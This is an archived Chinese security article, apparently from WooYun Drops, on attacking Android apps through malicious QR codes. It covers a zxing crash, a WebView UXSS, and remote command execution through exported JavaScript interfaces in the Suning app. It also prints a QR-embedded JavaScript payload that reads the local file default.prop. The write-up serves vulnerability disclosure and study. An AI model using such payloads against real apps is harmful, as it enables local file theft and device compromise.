forked from Trietptm-on-Security/WooYun-2
-
Notifications
You must be signed in to change notification settings - Fork 7
/
Android平台下二维码漏洞攻击杂谈.html
124 lines (82 loc) · 116 KB
/
Android平台下二维码漏洞攻击杂谈.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
<html>
<head>
<title>Android平台下二维码漏洞攻击杂谈 - 路人甲</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<body>
<h1>原文地址:<a href="http://drops.wooyun.org/mobile/10775">http://drops.wooyun.org/mobile/10775</a></h1>
<p>
<h1>0x00 前言</h1>
<hr />
<p>现在Android App几乎都有二维码扫描功能,如果没有考虑到二维码可能存在的安全问题,将会导致扫描二维码就会受到漏洞攻击,严重的可能导致手机被控制,信息泄漏等风险。</p>
<h1>0x01 拒绝服务</h1>
<hr />
<p>低版本的zxing这个二维码库在处理畸形二维码时存在数组越界,导致拒绝服务。扫描下面的二维码,可能导致主程序崩溃:</p>
<!--more-->
<p><img src="http://static.wooyun.org//drops/20151201/201512011130233308817.jpg" alt="p1" /></p>
<p>通过程序的崩溃日志可以看出是个数组越界:</p>
<pre><code>11-23 10:39:02.535: E/AndroidRuntime(1888): FATAL EXCEPTION: Thread-14396
11-23 10:39:02.535: E/AndroidRuntime(1888): Process: com.xxx, PID: 1888
11-23 10:39:02.535: E/AndroidRuntime(1888): java.lang.ArrayIndexOutOfBoundsException: length=9; index=9
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.common.BitSource.readBits(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.DecodedBitStreamParser.decodeAlphanumericSegment(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.DecodedBitStreamParser.decode(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.Decoder.decode(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.QRCodeReader.decode(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.MultiFormatReader.decodeInternal(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.MultiFormatReader.decodeWithState(Unknown Source)
</code></pre>
<h1>0x02 本地文件读取</h1>
<hr />
<p>之前Wooyun上爆了一个<a href="http://www.wooyun.org/bugs/wooyun-2010-09145">利用恶意二维码攻击快拍</a>的漏洞,识别出来的二维码默认以html形式展示(Android+Iphone),可以执行html和js。将下面的js在cli.im网站上生成二维码:</p>
<pre><code>#!js
<script>
x=new XMLHttpRequest();
if(x.overrideMimeType)
x.overrideMimeType('text/xml');
x.open("GET", "file://///default.prop", false);
x.send(null);
alert(x.responseText);
</script>
</code></pre>
<p><img src="http://static.wooyun.org//drops/20151201/201512011130248147023.jpg" alt="p2" /></p>
<p>用快拍扫描之后,就能读取本地文件内容:</p>
<p><img src="http://static.wooyun.org//drops/20151201/201512011130263480235.jpg" alt="p3" /></p>
<h1>0x03 UXSS</h1>
<hr />
<p>去年,Android平台上的Webview UXSS漏洞被吵的沸沸扬扬,由于低版本的Android系统自带的Webview组件使用Webkit作为内核,导致Webkit的历史漏洞就存在于Webview里面,其中就包括危害比较大的UXSS漏洞。</p>
<p>Webview组件几乎存在于所有Android App中,用来渲染网页。如果扫描二维码得到的结果是个网址,大部分App会直接用Webview来打开,由于Webview存在UXSS漏洞,很容易导致资金被窃、帐号被盗或者隐私泄露。漏洞介绍可参考TSRC博文:<a href="http://security.tencent.com/index.php/blog/msg/70">Android Webview UXSS 漏洞攻防</a></p>
<p><img src="http://static.wooyun.org//drops/20151201/201512011130277386842.jpg" alt="p4" /></p>
<h1>0x04 远程命令执行</h1>
<hr />
<p>大部分Android App扫描二维码之后,如果识别到的二维码内容是个网址时,会直接调用Webview来进行展示。如果Webview导出了js接口,并且targetSDK是在17以下,就会受到远程命令执行漏洞攻击风险。</p>
<p>苏宁易购Android版扫描二维码会用Webview打开网页,由于苏宁易购导出多个js接口,因此扫描二维码即会受到远程命令执行漏洞攻击(最新版本已修复)。</p>
<p><code>com.suning.mobile.ebuy.host.webview.WebViewActivity</code>导出多个js接口:</p>
<pre><code>#!java
this.b(this.a);
this.s = this.findViewById(2131494713);
this.d = this.findViewById(2131494100);
this.d.a(((BaseFragmentActivity)this));
this.l = new SNNativeClientJsApi(this);
this.d.addJavascriptInterface(this.l, "client");
this.d.addJavascriptInterface(this.l, "SNNativeClient");
this.d.addJavascriptInterface(new YifubaoJSBridge(this), "YifubaoJSBridge");
</code></pre>
<p>由于targetSDKversion为14,因此所有Android系统版本都受影响:</p>
<pre><code><uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="14"
>
</uses-sdk>
</code></pre>
<p>苏宁易购Android版首页有个扫描二维码的功能:</p>
<p><img src="http://static.wooyun.org//drops/20151201/201512011130293469854.jpg" alt="p5" /></p>
<p>扫描二维码时,如果二维码是个网页链接,就会调用上面的Webview组件打开恶意网页:</p>
<p><img src="http://static.wooyun.org//drops/20151201/201512011130308086161.jpg" alt="p6" /></p>
<p>恶意二维码如下:</p>
<p><img src="http://static.wooyun.org//drops/20151201/201512011130368499371.jpg" alt="p7" /></p>
<h1>0x05 总结</h1>
<hr />
<p>二维码可能攻击的点还不止上面列的那些,发散下思维,还有zip目录遍历导致的远程代码执行漏洞,还有sql注入漏洞,说不定还有缓冲区溢出漏洞。思想有多远,攻击面就有多宽!Have Fun!</p> </p>
</body>
</html>